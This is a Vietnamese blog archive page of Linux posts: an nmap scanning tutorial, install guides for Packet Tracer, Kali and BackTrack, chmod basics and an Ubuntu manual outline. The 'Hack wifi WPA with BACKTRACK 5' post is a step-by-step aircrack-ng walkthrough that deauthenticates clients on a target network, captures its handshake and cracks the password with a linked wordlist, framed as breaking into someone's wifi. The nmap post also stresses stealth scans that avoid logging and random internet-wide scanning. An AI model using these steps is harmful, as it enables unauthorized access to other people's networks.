Social Icons

Hiển thị các bài đăng có nhãn linux. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn linux. Hiển thị tất cả bài đăng

Chủ Nhật, 31 tháng 3, 2013

nmap



#nmap –R –sS 192.168.0.1

R:truy vấn đến DNS server để thực hiện reverse DNS name lookup. tùy chọn này được sử dụng khi mục tiêu là một server.
trường hợp bạn không cần truy vấn DNS server để lấy name

#nmap –n 192.168.0.1 hoặc #nmap –n –sS 192.168.0.1

theo dõi tiến trình

#nmap –vv –n 192.168.0.1

Scan nhiều mục tiêu

# nmap -vv –n 192.168.0.1,2,3 hoặc # nmap –vv –n 192.168.0.1-3
#nmap –vv –n 192.168.0.1-3,6,12-20

scan tất cả 254 máy

# nmap –vv –n 192.168.0.1-254 hoặc # nmap –vv –n 192.168.0.* hoặc# nmap –vv –n 192.168.0.1/24 

Scan port:

scan 1 port xác định, ta dùng tùy chọn -p
# nmap –vv –p 80 192.168.0.1 sẽ scan port 80

# nmap –vv –p 21,23,25,80-100 192.168.0.1     

  
sẽ scan các port 21,23,25 và từ 80 đến 100

# nmap –vv –n –p 21,23,25 192.168.1-2.*        


 bao gồm:
· Hiện các công việc nmap đang thực hiện

· Loại bỏ chức năng DNS reverse (tăng tốc độ và không để DNS server ghi lại bất cứ điều gì)

· Scanning port

· Scanning các IP từ 192.168.1.0 đến 192.168.2.254 

Các tùy chọn khác :

-sS: SYN scanning 
TCP SYN scan thu thập thông tin về port mà không cần hoàn thành quá trình bắt tay TCP. Khi 1 cổng được xác định, quá trình bắt tay TCP sẽ được reset trước khi chúng hoàn tất. Kỹ thuật này thường được xem như kỹ thuật “half open” scanning.
Điểm mạnh: Một TCP SYN scan không bao giờ tạo ra một phiên truy vấn TCP hoàn chỉnh, do đó nó không bị log lại tại mục tiêu. Đây được xem như một cách scan trong im lằng.
Điểm yếu: Bạn cần có quyền tại hệ thống chạy nmap (trong trường hợp này là quyền root)
# nmap –vv –n –sS 192.168.0.1

-sT: TCP connect scanning


Với tùy chọn này, nmap sẽ thực hiện quá trình bắt tay 3 bước TCP

Điểm mạnh : Bạn không cần quyền tại hệ thống chạy nmap
Điểm yếu : Kết nói của bạn sẽ bị log tại máy đích, do đó không nên sử dụng kỹ thuật này
# nmap –vv –n –sT 192.168.0.1

-sF, -sX, -sN: FIN scan, Xmas tree scan, NULL scan

Đây được gọi là các kỹ thuật scan giấu giếm. Chúng gửi 1 frame đơn đến cổng TCP mà không có bất cứ một gói TCP handshake nào. Chúng tỏ ra có khả năng "giấu" nhiều hơn SYN scan và phải được dùng nếu máy đích không phải là máy Windowns.
Một hệ thống Window sẽ trả lời bằng một RST cho tất cả truy vấn này.

Điểm mạnh: Không có phiên TCP sessions được tạo ra.
Điểm yếu: Không thể sử dụng để chống lại hệ thống Windows
# nmap –vv –n –sF 192.168.0.1

# nmap –vv –n –sX 192.168.0.1

# nmap –vv –n –sN 192.168.0.1
-sU: UDP scan.
# nmap –vv –n –sU 192.168.0.1
-sR: RPC scan
Tùy chọn này được dùng để xác định ứng dụng RPC. Nó chạy tự động và mặc định trong version scan (được đề cập tiếp theo)

Điểm yếu: RPC scan mở phiên của ứng dụng, do đó nó được log lại.
# nmap –vv –sR 192.168.0.1
-sV: Version scan

Scan này sẽ cho ta biết trạng thái của port và dịch vụ đang chạy trên chúng. Để khai thác dịch vụ bạn cần biết chính xác version của dịch vụ đang chạy trên máy đích.

Điểm yếu: Nó mở phiên với máy đích nên sẽ bị log.
# nmap –vv –sV 192.168.0.1

-sA: ACK scan 

ACK scan tỏ ra rất hữu ích khi có các firewall hay thiết bị lọc gói tin. Nó không xác định một port đang mở, nó chỉ xác định port đó đang bị chặn bởi firewall. Nó không mở bất cứ phiên ứng dụng nào, do đó việc liên lạc giữa nmap và thiết bị lọc gói tin thật sự đơn giản.
Điểm yếu: Nó chỉ có thể xác định port bị chặn hoặc không chặn chứ không xác định đc port mở hay không.
# nmap –vv –sA 192.168.0.1
 -sP: Ping scan:
# nmap –vv –sP 192.168.0.10
Ping scan sẽ check xem host đó đang up hay down
# nmap –vv –sP 192.168.0.*
Được dùng để phát hiện các host đang hoạt động trong subnet.

Điểm yếu: Ping scan không thể kết hợp được với các tùy chọn khác
O/S fingerprinting and version detection


-O: Operating system fingerprinting.
# nmap –vv –O 192.168.0.1
Nó sẽ cho bạn biết ít hệ điều hành và version đang chạy ở mục tiêu. Nó cần ít nhất một port đóng và một port mở để xác định chính xác, nếu không có điều kiện này nó không thể đưa ra một kết quả chính xác nhất được. Trong trường hợp đó bạn nên dùng các ứng dụng thứ 3 bổ xung.

Điểm yếu : Một tool theo dõi sẽ nhanh chóng phát hiện ra có ai đó đang nhòm ngó hệ thống


-sV: Version detection 

Như đã trình bày, nó sẽ giúp bạn biết được version của dịch vụ đang chạy tại máy đích.
# nmap –vv –sV 192.168.0.1

-A: thêm


Tùy chọn này bao gồm cả -O và -sV, do đó 2 cầu lệnh sau sẽ như nhau :
# nmap –vv –sV –O 192.168.0.1 

# nmap –vv –A 192.168.01.

Ping Scan 



-PE ICMP Echo Request 

Nó chỉ đơn giản là ICMP Echo request và ICMP Echo reply tương ứng là cách tốt nhất để xác định tĩnh sẵn sàng của máy đích. Nhược điểm là nó là giao thức phổ biến nhất bị lọc bởi bức tường lửa / bộ lọc gói. Nếu bạn nhận được trả lời với kiều ping này, nó sẽ chỉ ra rằng có rất ít bộ lọc giữa bạn và đích.. 

-PA[port number] TCP ACK Ping

Hữu ích để xác định bộ lọc / cổng không lọc, do đó rất hữu ích khi có một số bức tường lửa bảo vệ máy. 

# nmap-vv 192.168.0.1-PA23, 110


nmap sẽ ping cổng 23 và 110 của máy đích với các gói ACK. Nếu máy đích up hoặc không có bộ lọc, nó sẽ trả lời với các gói RST. Nhưng trong trường hợp nó down hoặc có bộ lọc, sẽ không có trả lời và do đó quá trình quét sẽ dừng lại. Vì vậy để qua được tường lửa, ta phải thử cổng khác.

Nếu không có cổng được chỉ định, cổng số 80 sẽ được chọn (thông thường các bộ lọc gói cho phép traffic qua cổng 80). 

-PS[port number] TCP SYN Ping

Chức năng của nó là giống SYN Scan. Máy Nmap gửi gói tin SYN đến máy đích.Cổng mở sẽ trả lời với ACK / SYN và cổng đóng sẽ trả lời với RST. Do đó có thể được sử dụng để xác định xem máy đích là up hay ko. Cổng có thể được chỉ định, 80 là cổng mặc định. 

# nmap-vv-n 192.168.0.1-PS (sẽ ping cổng 80

# nmap-vv-n 192.168.0.1-PS23, 110 (sẽ ping cổng 23 và 110 ) 

-PU[port number] TCP UDP Ping

Theo mặc định nó sẽ gửi các frame UDP tại cổng 31338. Các frame UDP được gửi đến cổng đóng sẽ nhận được thông điệp "ICMP port unreachable". Nếu cổng mở , nó có thể hoặc không trả lời, vì nhiều ứng dụng UDP không gửi trả lời với bất kỳ khung đến ngẫu nhiên. Vì vậy cần cố gắng để gửi khung UDP đến cổng đóng. Do cách ping này dựa rất nhiều vào các gói ICMP, vì thế nếu ICMP bị lọc có thể không trả lời.

# nmap-vv-n 192.168.0.1-PU (cổng mặc định là 31338

# nmap-vv-n 192.168.0.1-PU 

-PP ICMP Timestamp Ping 

ICMP Timestamp Ping được sử dụng để cho phép hai hệ thống riêng biệt để điều phối thời gian. Nó không hữu ích khi có tường lửa vì nó dựa chủ yếu vào ICMP. 

-PM ICMP Address Mask Ping
Nó hoạt động bằng cách gửi một yêu cầu ICMP Address Mask đến một thiết bị đích. Hầu hết các hệ điều hành hiện đại và các router sẽ không đáp ứng yêu cầu này, do đó loại ping ICMP này không hoạt động trên hầu hết hệ thống hiện đại. 

Một vài điều về thu thập thông tin hệ điều hành (OS fingerprinting)

- osscan_limit 


Tùy chọn này sẽ hủy bỏ OS fingerprinting nếu cả hai cổng mở và đóng đều không có, vì thế sẽ tiết kiệm rất nhiều thời gian thay vì nhận được kết quả không chính xác. 

-A (Additional, Advanced, and Aggressive)

Là sự kết hợp của "-O" và "-sV" tức là OS fingerprinting và service

# nmap-vv-n 192.168.0.1-O-sV 

là tương tự như 

# nmap-vv-n 192.168.0.1-A 


Bao gồm và Loại trừ các máy chủ và Ports 
Loại trừ mục tiêu (-exclude ) 

Các địa chỉ IP được chỉ định sẽ không được quét bằng Nmap. 

#nmap –vv –n –sS 192.168.0.1/24 --exclude 192.168.0.2-4, 192.168.0.7

Điều này sẽ quét toàn bộ mạng con trừ 192.168.0.2, 192.168.0.3, 192.168.0.4, và 192.168.0.7. 
Loại trừ các mục tiêu trong tệp (- excludefile ) 


# nmap-vv-n-sS 192,168 .*.* - excludefile filename.txt Nội dung của filename.txt thể như sau:

192.168.0.1-4 //(loại trừ 192.168.0.1-192.168.0.4)

192.168.3-5 .* // (loại trừ 192.168.3.0 à 192.168.5.255)

192.168.6 .* // (loại trừ 192.168.6.0 à 192.168.6.255) 

Lợi ích của tùy chọn -excludefile là một tập tin loại trừ có thể được tạo ra bao gồm địa chỉ IP của các tổ chức, cá nhân mà bạn không bao giờ muốn để quét 


- excludefile và –exclude là các lựa chọn không thể được sử dụng trên cùng một lần scan.
Đọc dữ liệu từ File (-il ) Thay vì cung cấp địa chỉ IP tại dòng lệnh của Nmap, một tập tin có thể được duy trì có chứa địa chỉ IP cách nhau bằng tab, khoảng trống, hoặc dòng riêng lẻ. Khi tùy chọn này được sử dụng, bất kỳ địa chỉ IP được chỉ định trên dòng lệnh sẽ bị bỏ qua mà không có bất kỳ thông báo nào.# nmap-vv-n-il input.txt 

# nmap-vv-n-il input.txt 192.168.1.1
 
(ở đây 192.168.1.1 sẽ bị bỏ qua)

Nếu lựa chọn loại trừ host, --exclude hay –excludefile, được sử dụng với tùy chọn-il, các địa chỉ bị loại trừ sẽ ghi đè lên bất cứ dòng lệnh hoặc tập tin. 

Quét mục tiêu với số lượng ngẫu nhiên 
-iR Bạn có thể tìm kiếm chỉ web của máy chủ hoặc một số máy chủ khác , ví dụ các máy chạy một dịch vụ cụ thể trên một cổng cụ thể.

Ví dụ
telet tại cổng 23
SMTP : 25
Máy chủ web : 80 vv # nmap-vv-n-iR 100-p 80

Quét ngẫu nhiên 100 máy tại cổng 80 


# nmap-vv-n-iR 0-p 80 (đó là số không, không phải 'O') 

Quét "không giới hạn" số máy tại cổng 80. Vì vậy, ở đây bạn thấy, Nmap sẽ quét hàng ngàn và hàng ngàn máy. Scan sẽ không báo cáo bất kỳ kết quả nào cho đến khi 500 máy được xác định. Do đó kiểu quét này sẽ được dùng với một tùy chọn đăng nhập .# nmap-sS-PS80-iR 0-p 80 Nó sẽ chạy một TCP SYN quét bằng cách sử dụng một ping SYN trên cổng 80 đến một số lượng không giới hạn của ngẫu nhiên các địa chỉ IP. Việc quét SYN chỉ quét cổng 80.

-iL, --exclude, --excludefile, không được sử dụng với tùy chọn -iR. 


- randomize_hosts # nmap-vv-randomize_hosts-p 80 192,168 .*.* 
nmap sẽ quét ngẫu nhiên.

-iL, --exclude, and –excludefile có thể được sử dụng với tùy chọn này. 2.048 máy tại một thời điểm được chọn ngẫu nhiên

Lựa chọn log
để lưu trữ các kết quả của Nmap. Lý do có thể là:

1. Bạn đang quét hàng trăm máy , do đó, không muốn nhìn màn hình suốt quá trình scan.
2. Bạn bắt đầu quét trong đêm và muốn thấy kết quả vào buổi sáng.
3. Bạn có thể muốn giữ các hồ sơ để tham khảo trong tương lai
4. Bạn muốn pause/stop Nmap và tiếp tục quá trình quét vào một lúc khác.

... .. Và rất nhiều lý do khác.

Vì vậy, đây là cách đăng nhập tùy chọn khác nhau cho Nmap
Định dạng thông thường: 

-oN
Nó lưu lại kết quả nhìn giống như hiển thị trên màn hình khi scan. Không cần phải chỉ định đuôi mở rộng của tập tin đầu ra. Nó sẽ có phần mở rộng. Nmap.

Định dạng XML 


-oX 
Đầu ra là file *.XLM có thể view trên các trình duyệt khác nhau. Trên thực tế Nmap có một tập tin XSL biên dịch thông tin XML thành một định dạng HTML có thể xem được, có thể hiển thị được trong bất kỳ trình duyệt nào.Grepable Format

-oG 
Các tập tin đầu ra sẽ có phần mở rộng. Gnmap. 

Tất cả các định dạng

-oA 

Sẽ tạo ra ba file xuất, bình thường, XML và Grepable.

Giả sử tên của tập tin là target, do đó, bạn sẽ nhận được trong ba tập tin sau:
target.nmap
target.xml
target.gnmap

Script Kiddie Format


-oS 

Đầu ra sẽ là ngôn ngữ Kiddie 

Resuming the scan

Giả sử bạn đang quét một mạng con là 100 máy và đang scan máy 45 khi bạn ngừng quét. Khi bạn tiếp tục quá trình quét thời gian tới, tất cả các máy có được quét trước máy 45 sẽ không được quét lại. Nhưng các chức năng quét của máy 45 sẽ bắt đầu từ đầu một lần nữa.
Do đó không sử dụng tùy chọn khôi phục khi bạn chỉ scan có một máy


--resume 

Tập tin này có thể là dạng thường (-oN) hoặc Grepable (-oG).XML không được sử dụng

Không sử dụng nó với lựa chọn --randomize_hosts.

Một vài lựa chọn mà nói chung luôn luôn cần dùng trong tất cả scan là:

-vv tiết chế độ

-n tăng tốc quá trình quét và file log được tạo trên các máy chủ DNS.

-oA để có được các tập tin đầu ra để quét có thể resume. 

readmore...

Cài đặt cisco packet trace trên ubuntu

đầu tiên phải cài đặt rpm
       sudo apt-get install rpm
Vào đây: https://www.kleii.com/f/5152e5c906bbadff59000022
Download về
Giải nén,
   chmod +x install
   ./install

để mở packettracer: packettracer
readmore...

Cơ chế phân quyên trong linux

Mỗi đặc quyền truy cập này tương ứng với một trị số:
  • read = 4
  • write = 2
  • execute = 1
Những giá trị cho một số quyền truy cập tương ứng với mỗi nhóm được bổ sung cùng nhau để tạo thành một giá trị giữa 0 và 7 (có thể được sử dụng để thay đổi hay phân quyền bằng cách sử dụng lệnh chmod – change mode).

Ví dụ, nhập lệnh chmod 764 [tên file] để cấp quyền truy cập vào một file nào đó, trong đó trị số 764 được sinh ra từ:
  • rwe = 4 (read) + 2 (write) + 1 (execute) = 7
  • rw = 4 (read) + 2 (write) = 6
  • r = 4 (read) = 4
Bạn có thể sử dụng lệnh chmod để phân quyền cho file và thư mục, tuy nhiên bạn nên lưu ý nhập chính xác lệnh chmod, không được sử dụng các kí tự chữ in hoa trong lệnh. 

Dưới đây là một số lệnh chmod thường dùng:
  • chmod 777 filename: Cấp quyền truy cập đầy đủ cho mọi đối tượng người dùng.
  • chmod 775 filename: Cấp quyền truy cập đầy đủ cho chủ hệ thống và nhóm quản trị, đối tượng người dùng chỉ có quyền đọc (read) và chạy (execute) file.
  • chmod 755 dirname: Cấp quyền truy cập đầy đủ cho chủ hệ thống, chỉ cho phép nhóm quản trị và đối tượng người dùng đọc và chạy các file trong thư mục.
  • chmod 700 filename: Chỉ cấp quyền truy cập đầy đủ cho chủ hệ thống và chặn truy cập với mọi đối tượng khác.
  • chmod 500 dirname: Không cho phép nhóm quản trị và người dùng truy cập vào file trong thư mục, đồng thời giới hạn quyền chủ hệ thống chỉ đọc và chạy để tránh xóa và thay đổi các file trong thư mục này.
  • chmod 660 filename: Cho phép chủ hệ thống và nhóm quản trị đọc, sửa, xóa và ghi dữ liệu vào file, nhưng không phân quyền truy cập cho những người dùng khác.
readmore...

Thứ Sáu, 15 tháng 3, 2013

Cài đặt Kali-Linux

Hôm nay mình sẽ hướng dẫn các bạn cách cài đặt kali-linux là 1 phiên bản mới của backtrack.
Đầu tiên bạn vào http://www.kali.org/downloads/ để dowload bản iso về và mình sẽ sử dụng máy ảo VMware để thực hiện cài đặt.
Các bạn bật VMware và chọn đến file iso vừa dowload về.
Tại đây có 1 số lựa chọn như là:
Live(86-pae): sẽ chạy luôn vào kali mà ko cần phải cài đặt gì, nhưng khi chạy cài này thì rất hay bị lỗi, nên mình khuyên bạn nên cài đặt hẳn vào.
Install: thì sẽ cài đặt nhưng khá phức tạp cho các bạn mới cài đặt.
Graphic install: sẽ cài đặt khá rễ ràng nên mình sẽ chọn để cài đặt

tiếp theo là sẽ chọn ngôn ngữ cho hệ điều hành


tiếp là điền tên cho hệ điều hành

và password

ở đây sẽ là cấu hình cho dock mình để mặc định là eastern

đây là bạn chọn ổ đĩa cài đặt


\
 giờ chỉ cần đợi cài đặt xong là ok


readmore...

Thứ Ba, 18 tháng 12, 2012

Tài liệu ubuntu

Chương 1: Tổng Quan Về Ubuntu
1. Giới thiệu về Linux
1.1. Linux là gì?
1.2. Linux có gì hấp dẫn?
1.2.1. Vấn đề bản quyền
1.2.2. Những ưu điểm kỹ thuật nổi bật của Linux
1.2.3. Một vài nhược điểm cố hữu của Linux
2. Giấy phép Công cộng GNU
3. Hệ điều hành Ubuntu
3.1. Nguồn gốc của Ubuntu
3.2. Giới thiệu về Ubuntu
Chương 2: Cấu Trúc Hệ Thống Ubuntu
1. Cấu trúc thư mục của Ubuntu
2. Người dùng và quyền hạn
3. Cửa sổ dòng lệnh (Terminal)
4. Màn hình làm việc Desktop
Chương 3: Môi Trường Đồ Họa Unity trên Ubuntu 11.04
1. Giao diện Gnome:
2. Bắt đầu sử dụng Ubuntu với Unity
2.1 Sử dụng Trình khởi động (Launcher) để bắt đầu ứng dụng
2.1.1 Mở Launcher
2.1.2 Gắn và gỡ bỏ các ứng dụng trên Launcher
2.2 Tìm các ứng dụng và các tập tin với Dash
2.3 Cửa sổ và vùng làm việt
2.3.1 Làm việc với các cửa sổ
Phóng to và bỏ phóng to (khôi phục) một cửa sổ
Thu nhỏ và mở lại cửa sổ
Thay đổi khích cỡ cửa sổ
Di chuyển và đóng cửa sổ
Chuyển đổi giữa các cửa sổ
2.3.2 Làm việc với các vùng làm việc
Chuyển đổi giữa các vùng làm việc
Di chuyển cửa sổ vào vùng làm việc khác
2.4: Log out, power off, switch users
2.4.1 Đăng xuất, đăng nhập và chuyển đổi người dùng
2.4.2 Khóa màn hình
2.4.3 Tắt máy hoặc khởi động lại
Chương 4: Quản Lý Và Tìm Kiếm Tập Tin, Thư Mục
1. Duyệt các tập tin và thư mục
2. Sao chép và di chuyển tập tin và thư mục.
3. Xóa tập tin và thư mục.
3.1 Cách xóa một tập tin:
3.2 Xóa một tập tin vĩnh viễn.
4. Đổi tên tập tin và thư mục.
5. Tìm tập tin.
5.1 Tìm kiếm
5.2 Lưu tìm kiếm
6. Sắp xếp tập tin và thư mục.
7. Duyệt tập tin được chia sẻ trên máy chủ hoặc trong mạng nội bộ.
7.1 Kết nối đến máy chủ tập tin.
7.2 Chia sẻ trên Windows
8. Thuộc tính tập tin. 33
9. Tìm một tập tin bị lạc mất.
10. Mở tập tin bằng chương trình ứng dụng khác.
10.1 Thay đổi ứng dụng mặc định.
11. Mở một ứng dụng khi bạn gắn thêm thiết bị lưu trữ bên ngoài vào.
12. Gỡ bỏ an toàn một thiết bị lưu trữ di động.
Chương 5: Ứng Dụng Mạng Và Internet
1. Trình duyệt Web.
1.1 Thay đổi một trang web mặc định.
1.2 Cài đặt Flash plug-in
1.4 Cài đặt Silverlight plug-in.
2. Email & email software.
2.1 Thay đổi ứng dụng viết email mặc định
2.2 Tôi có cần quét virus cho Email của tôi không?
3. Chat & Mạng xã hội.
3.1 Tin nhắn tức thời trên Ubuntu.
3.2 Cuộc gọi video.
3.3 Làm thế nài để sử dụng kype on Ubuntu?
4. An toàn khi sử dụng internet
4.2 Tôi có cần phần mềm chống virus?
4.3 Kích hoạt và ngăn chặn kích hoạt tường lửa.
5. Mạng có dây
5.1 Kết nối với một mạng có dây (Ethernet)
5.2 Tạo một kết nối với đại chỉ IP cố định.
6. Mạng không dây.
6.1 Kết nối với mạng không dây.
6.2 Kết nối trực tiếp đến máy tính khác bằng mạng không dây (AD-Hoc)
6.3 Thiết lập mạng không dây AD-Hoc:
6.4 Bảo vệ mạng Ad-hoc.
6.5 Kết nối với mạng không dây ẩn.
6.6 Chỉnh sửa một mạng không dây.
6.7 Kết nối tự động.
6.8 Chia sẻ một kết nối tự động cho tất cả người dùng.
6.9 Nhập mật khẩu chính xác nhưng vẫn không thể kết nối.
7. Một vài lời khuyên khi sử dụng mạng .
7.1 Xem IP của máy đang sử dụng.
7.2 Sử dụng Internet an toàn.
7.3 Địa chỉ MAC là gì?
7.4 Proxy là gì?
7.5 IP Address là gì?
7.6 Virtual Private Networks (VPNs) Mạng riêng ảo.
Chương 7: Quản Lý Cài Đặt Và Gỡ Bỏ Các Ứng Dụng
1. Cài đặt thêm các chương trình
2. Gỡ bỏ một chương trình
3. Thêm một gói ứng dụng cá nhân(Personal Package Archive - PPA).
3.1 Cài đặt APT.
3.2 Kích hoạt các kho lưu trữ của đối tác Canonical
4. Sử dụng Synaptic để quản lý phần mềm cao cấp.
5. Phần mềm bổ trợ.
5.1 Phầm mềm hỗ trợ gõ tiếng việt
5.1.1 Cài đặt ngôn ngữ Tiếng Việt
5.1.2 Thiết lập Ibus là bộ gõ mặc định
5.1.3 Khởi Động Ibus để khích hoạt chương trình
5.1.4 Sử dụng 53
5.2 Phầm mềm diệt virus ClamAV
5.2.1 Cài đặt sử dụng
5.3 Chạy các phầm mềm Windows trên Ubuntu
5.3.1 Giới thiệu về Wine
5.3.2 Cài đặt Wine trong Ubuntu
Chương 8: Thiết Lập, Tùy Biến Người Dùng Và Hệ Thống
2. Display & screen
2.1 Tự động khóa màn hình
2.2 Thiết lặp độ sáng màn hình.
2.3 Thay đổi màn hình Desktop.
2.4 Thay đổi kích thước / độ xoay của màn hình.
2.4.1 Độ phân giải.
2.4.2 Xoay.
2.5 Cho phép màn hình thứ hai.
3. Keyboard
3.1 Làm cho con trỏ bàn phím nhấp nháy
3.2 Tắt tính năng lặp lại khi nhấn phím.
3.3 Bố trí sử dụng bàn phím thay thế.
4. Mouse
4.1 Điều chỉnh tốc độ của chuột và touchpad
4.2 Tăng tốc độ Double Click chuột.
4.3 Điều chỉnh ngưỡng kéo chuột
4.4 Xác định nhanh vị trí con trỏ chuột.
4.7 Click và di chuyển con trỏ chuột mà không cần chuột.
4.8 Click hoặc cuộn với touchpad
4.9 Tắt touchpad khi đánh máy.
5. Power & battery
5.1 Tăng tuổi thọ của pin.
5.2 Tôi muốn các máy tính tắt khi tôi bấm nút Power.
5.3 Sử dụng ít năng lượng và cải thiện tuổi thọ pin
5.3.1 Hướng dẫn chung.
5.3.2 Laptops, netbooks, và các thiết bị dùng pin khác .
5.4 Khi không dùng máy tính hoặc để máy tính ngủ đông?
5.5 Tại sao máy tính của tôi tắt khi tôi gắp lại?
5.6 Ngăn chặn các máy tính tạm nghỉ khi gặp màn hình.
6. Ngày và giờ.
6.1 Thay đổi ngày giờ hệ thống.
6.2 Thay đổi thông tin được hiển thị trong đồng hồ.
6.2.1 Thay đổi định dạng ngày tháng
6.2.2 Xem những múi giờ khác
6.3 Xem các cuộc hẹn trong lịch của bạn
7. Ngôn ngữ & Vùng địa phương.
7.1 Thay đổi ngôn ngữ.
8. User accounts
8.2 Thay đổi hình ảnh đăng nhập.
8.3 Xóa một tài khoản người dùng.
8.4 Hạn chế khởi động một phiên làm việc.
8.5 Mật khẩu.
8.5.1 Thay đổi mật khẩu.
8.5.2 Thay đổi mật khẩu keyring
9. Sharing
9.2 Bảo mật an ninh.
9.2.1 Yêu cầu nhập mật khẩu
9.2.2 Cho phép truy cập vào máy tính để bàn của bạn qua Internet.
9.3 Hiển thị biểu tượng khu vực thông báo
Chương 9: Quản Lý Phần Cứng Và Trình Điều Khiển Thiết Bị
1. Driver(trình điều khiển) là gì ?
2. Drivers (trình điều khiển) độc quyền là gì?
3. Đĩa cứng & các vấn đề lưu trữ.
3.1 Kiểm tra không gian đĩa trống.
3.1.1 Kiểm tra bằng Disk Usage Analyzer.
3.1.2 Kiểm tra với System Monitor
3.1.3 Điều gì sẽ xảy ra nếu đĩa đã đầy.
3.2 Kiểm tra các vấn đề về đĩa cứng của bạn.
3.2.1 Kiểm tra ổ đĩa cứng.
3.2.2 Điều gì sẽ xảy ra nếu đĩa bị lỗi.
3.3 Quản lý Volumes và các phân vùng.
3.4 Xem và quản lý các phân vùng bằng cách sử dụng disk utility.
3.5 Kiểm tra hiệu năng đĩa cứng của bạn.
3.6 Format một ổ đĩa di động
4. Máy In
4.1 Cài đặt máy in.
4.1.1 Cài đặt một máy in cục bộ.
4.2 Bố trí kích thướt giấy.
4.2.1 Thay đổi kích cỡ giấy khi in.
4.2.2 Điều chỉnh trang in theo thứ tự khác nhau.
4.2.3 In phong bì và nhãn.
4.2.4 In hai mặt và in nhiều trang.
4.3 Các vần đề về máy in.
4.3.1 Làm thế nào để kiểm tra mức độ mực máy in ?
4.3.2 Huỷ bỏ IN.
4.3.3 Xóa tình trạng kẹt giấy.
4.3.4 Tại sao trên trang in có đường kẻ sọc,màu sắc không đúng?
Chương 10: Cài Đặt Ubuntu 11.04


dowload đầy đủ bộ tài liệu tại đây
readmore...

Thứ Hai, 17 tháng 12, 2012

Hack wifi WPA với BACKTRACK 5

Các bước tiến hành như sau :
1, bật 1 cửa sổ lệnh và gõ :
iwconfig (cái này để xem các card trong máy).
airmon-ng ( để xem máy mình có card wifi hỗ trợ trong Backtrack ?).Nếu không có thì thôi,khỏi hack lun.
airmon-ng stop wlan0 (interface của card tương thích hiện ra trong lệnh airmon-ng trên).
ifconfig wlan0 donw (không có bước này thì không chạy được đâu nhá!).
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng mon0 (mon0 là monitor interface của wlan0 sau khi thực hiện lệnh airmon-ng start wlan0).
2, mở 1 của sổ lệnh khác gõ :
airodump-ng --bssid BSSID -w wpafile -c CH mon0
( BSSID là MAC tương ứng với wifi mình định hack,hiên ra ở bảng airodump-ng mon0.
wpafile là tên 1 file mình đặt để nó tạo ra file .cap cho mình.
CH là channel tương ứng với cột CH hiện ra ở bảng airodump-ng mon0 của wifi mình định hack )

aireplay-ng --deauth 0 -a BSSID -c STATION mon0 (gửi đi liên tục các gói tin để thu được WPA handshake ,có thể phải thực hiện vài lần lệnh này cho đến khi nó chạy liên tục).
3. Chuyển sang cửa sổ của lệnh airodump-ng mon0,chờ đến khi xuất hiện dòng WPA handshake thì dừng lại bằng cách ấn CTRL +C.rồi gõ lệnh :
aircrack-ng -w /đường dẫn đến file passwordlist/password.lst /đường dẫn đến file wpafile-01.cap/wpafile-01.cap (thường là /root/wpafile-01.cap ;wpafile chính là tên tương ứng với lên airodump ở trên ;password.lst là file có chứa từ điển pass , mình phải download trên mạng về,có thể là file .text hoặc .dic)
Bây giờ ngồi chờ báo KEY FOUND thôi. :d.
Tuy nhiên cách này rất lâu, chỉ dò được khoảng 900key/s.
Có cách khác nhanh hơn có thể dò được khoảng 30000-40000key/s .Đó là tạo database cho Backtrack.Làm như sau :
- Các bạn mở thêm 1 cửa sổ lệnh khác, gõ :
airolib-ng crackwpa --import essid /đường dẫn/essid.txt(essid.txt là file có chứa SSID(tên hiện ra) của wifi mình hack ; crackwpa là tên database mà mình sẽ tạo ra).
airolib-ng crackwpa --import passwd /đường dẫn/password.lst airolib-ng crackwpa --batch ( kết hợp essid và password.lst , sẽ phải đợi hơi lâu để hoàn thành).

aircrack-ng -r crackwpa wpa*.cap (bây giờ tốc độ dò lên đến 30000k/s ). :D

Cái này phải phụ thuộc rất nhiều vào file password.lst ,nếu nó không chứa pass của wifi thì chịu chết k hack được.
các bạn có thể dowload file password.lst tại đây: http://www.ziddu.com/download/21137724/huge_wordlist.rar.html
readmore...

Hướng dẫn cài backtrack 5 liveUSB

Chào các bạn hôm nay sẽ hướng dẫn các bạn cài backtrack 5 bằng liveusb
LƯU Ý: để cài được Backtrack Live USB và chạy nó trên máy tính, bạn phải có một cái USB dung lượng trên 4GB và BIOS máy bạn phải có chức năng boot từ USB device !
Đầu tiên các bạn vào đây: http://www.backtrack-linux.org/downloads/ , các bạn sẽ thấy một trang menu download. Bước đầu là register download bạn có thể bỏ qua (bấm nút download);
Kế đến bạn chọn options như sau (các bạn nên chú ý phần này, bởi lẽ chỉ cần chọn nhầm thôi là đi tong 2 tiếng download ngay):

Sau khi đã dowload xong r thì bạn dowload Universal USB Installer để tạo boot.Các bạn vào đây http://myskyx.blogspot.com/2012/12/universal-usb-installer-cong-cu-boot.html.Ở đây mình đã hướng dãn cụ thể cach tạo boot r,các bạn vào đấy xem nha.
Hướng dẫn cách change BIOS settings
Nếu bạn cắm USB vào mà thấy nó vẫn boot từ ổ cứng thì hãy đọc chương này, không thì mời bạn chuyển sang chương sau.
Đầu tiên, bạn bật máy của bạn lên và bấm nút "Delete" liên ngay khi bật máy (hoặc F2 & F1 dành cho một số laptop) cho đến khi bạn nhìn thấy BIOS interface (nếu mình không nhầm thì BIOS là "Basic Input - Output System").
2 loại BIOS phổ biến nhất là AMI BIOS và AWARD BIOS. 2 loại này khác nhau ở mầu nền và cách bố trí trang menu. Sau đây mình sẽ hướng dẫn các bạn cách change bios settings để boot từ USB:
Trông nó như thế này đây

Dùng các phím lên xuống sang phải sang trái và chọn tab "Boot", các bạn sẽ thấy Boot Settings

Chọn "Boot Device Priority", và chọn USB của bạn làm "First boot device".

Cuối cùng nhấn F10 để save

Có thể bạn sẽ gặp một số vấn đề như USB của bạn không hiển thị trong list devices, và nếu bạn thấy thế thì bạn đừng buồn mà hãy lục trong BIOS tiếp, cũng giống như trường hợp của mình đây. Còn nếu lục mãi trong BIOS mà không thấy thì ... xin lỗi, bạn quá gà, bỏ ý định học hack đi =))

Nếu bạn thấy mầu nền BIOS của bạn giống giống như vậy thì đọc tiếp nhé :) vào "Advanced BIOS Features". Lưu ý là trong BIOS không dùng chuột nhé, chỉ dùng các phím "lên xuống phải trái" thôi.

Click vào "First boot device" và tìm tên USB của bạn

Nhấn F10 để save, vậy là xong.

Cái này còn dễ hơn cả AMI BIOS nữa, ko làm dc thì chứng tỏ bạn quá gà, từ bỏ ý định học hack đi =))

